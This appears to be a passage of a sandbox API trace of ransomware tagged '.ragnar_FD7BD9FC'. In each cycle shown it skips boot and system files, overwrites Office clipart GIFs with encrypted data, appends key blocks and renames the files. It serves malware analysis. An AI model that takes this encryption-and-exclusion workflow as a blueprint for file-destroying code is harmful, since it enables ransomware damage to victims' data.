[0083.326] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x462c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.326] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x462c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x462c, lpOverlapped=0x0) returned 1 [0083.326] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x462c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.327] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x462c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.327] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.327] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.327] GetProcessHeap () returned 0x580000 [0083.327] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.327] CloseHandle (hObject=0xf4) returned 1 [0083.327] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" [0083.327] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.ragnar_FD7BD9FC" [0083.327] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0083.328] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.328] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099193.GIF" | out: lpString1="J0099193.GIF") returned="J0099193.GIF" [0083.328] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned=".GIF" [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="autorun.inf") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="boot.ini") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="bootfont.bin") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="bootsect.bak") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="bootmgr") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="bootmgr.efi") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="bootmgfw.efi") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="desktop.ini") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="iconcache.db") returned 1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="ntldr") returned -1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="ntuser.dat") returned -1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="ntuser.dat.log") returned -1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="ntuser.ini") returned -1 [0083.328] lstrcmpiW (lpString1="J0099193.GIF", lpString2="thumbs.db") returned -1 [0083.328] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.328] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.329] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.329] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.329] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.329] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.329] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0083.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.329] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35546) returned 1 [0083.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ad1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.329] GetProcessHeap () returned 0x580000 [0083.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.329] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.331] VirtualAlloc (lpAddress=0x0, dwSize=0x8ada, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.331] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8ada, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8ada, lpOverlapped=0x0) returned 1 [0083.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.333] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ada, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.333] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8ada, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8ada, lpOverlapped=0x0) returned 1 [0083.333] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ada, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.333] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ada, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.334] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.334] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.334] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.334] GetProcessHeap () returned 0x580000 [0083.334] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.334] CloseHandle (hObject=0xf4) returned 1 [0083.334] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" [0083.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.ragnar_FD7BD9FC" [0083.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0083.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.335] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099194.GIF" | out: lpString1="J0099194.GIF") returned="J0099194.GIF" [0083.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned=".GIF" [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="autorun.inf") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="boot.ini") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="bootfont.bin") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="bootsect.bak") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="bootmgr") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="bootmgr.efi") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="bootmgfw.efi") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="desktop.ini") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="iconcache.db") returned 1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="ntldr") returned -1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="ntuser.dat") returned -1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="ntuser.dat.log") returned -1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="ntuser.ini") returned -1 [0083.335] lstrcmpiW (lpString1="J0099194.GIF", lpString2="thumbs.db") returned -1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.335] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0083.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.336] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25265) returned 1 [0083.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.336] GetProcessHeap () returned 0x580000 [0083.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.336] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.337] VirtualAlloc (lpAddress=0x0, dwSize=0x62b1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.337] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.337] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.338] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x62b1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x62b1, lpOverlapped=0x0) returned 1 [0083.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.339] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.339] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x62b1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x62b1, lpOverlapped=0x0) returned 1 [0083.339] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.339] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.340] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.340] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.340] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.340] GetProcessHeap () returned 0x580000 [0083.340] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.340] CloseHandle (hObject=0xf4) returned 1 [0083.340] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" [0083.340] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.ragnar_FD7BD9FC" [0083.340] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.341] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0083.341] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.341] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099195.GIF" | out: lpString1="J0099195.GIF") returned="J0099195.GIF" [0083.341] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned=".GIF" [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="autorun.inf") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="boot.ini") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="bootfont.bin") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="bootsect.bak") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="bootmgr") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="bootmgr.efi") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="bootmgfw.efi") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="desktop.ini") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="iconcache.db") returned 1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="ntldr") returned -1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="ntuser.dat") returned -1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="ntuser.dat.log") returned -1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="ntuser.ini") returned -1 [0083.341] lstrcmpiW (lpString1="J0099195.GIF", lpString2="thumbs.db") returned -1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.341] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0083.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.342] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19923) returned 1 [0083.342] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4dca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.342] GetProcessHeap () returned 0x580000 [0083.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.342] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.343] VirtualAlloc (lpAddress=0x0, dwSize=0x4dd3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.344] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4dd3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4dd3, lpOverlapped=0x0) returned 1 [0083.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4dd3, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.345] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4dd3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4dd3, lpOverlapped=0x0) returned 1 [0083.345] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4dd3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.345] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4dd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 